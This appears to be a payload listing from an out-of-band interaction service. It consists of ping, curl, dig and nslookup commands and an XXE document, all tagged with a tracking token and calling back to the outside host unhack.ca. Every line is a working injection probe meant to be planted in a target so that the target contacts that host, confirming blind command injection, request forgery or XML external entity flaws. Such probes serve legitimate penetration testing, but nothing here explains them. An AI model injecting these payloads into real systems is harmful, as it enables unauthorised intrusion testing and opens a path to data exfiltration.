$ ping -c1 -p 0090131f1072cd7215f02577082c4800 unhack.ca
 

$ curl http://unhack.ca/p/90131f1072cd7215f02577082c48
 

$ dig 90131f1072cd7215f02577082c48 @unhack.ca
 

$ dig 90131f1072cd7215f02577082c48.ns.unhack.ca
 

C:\> nslookup 90131f1072cd7215f02577082c48 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/90131f1072cd7215f02577082c48">]>
    <foo>&xxe;</foo>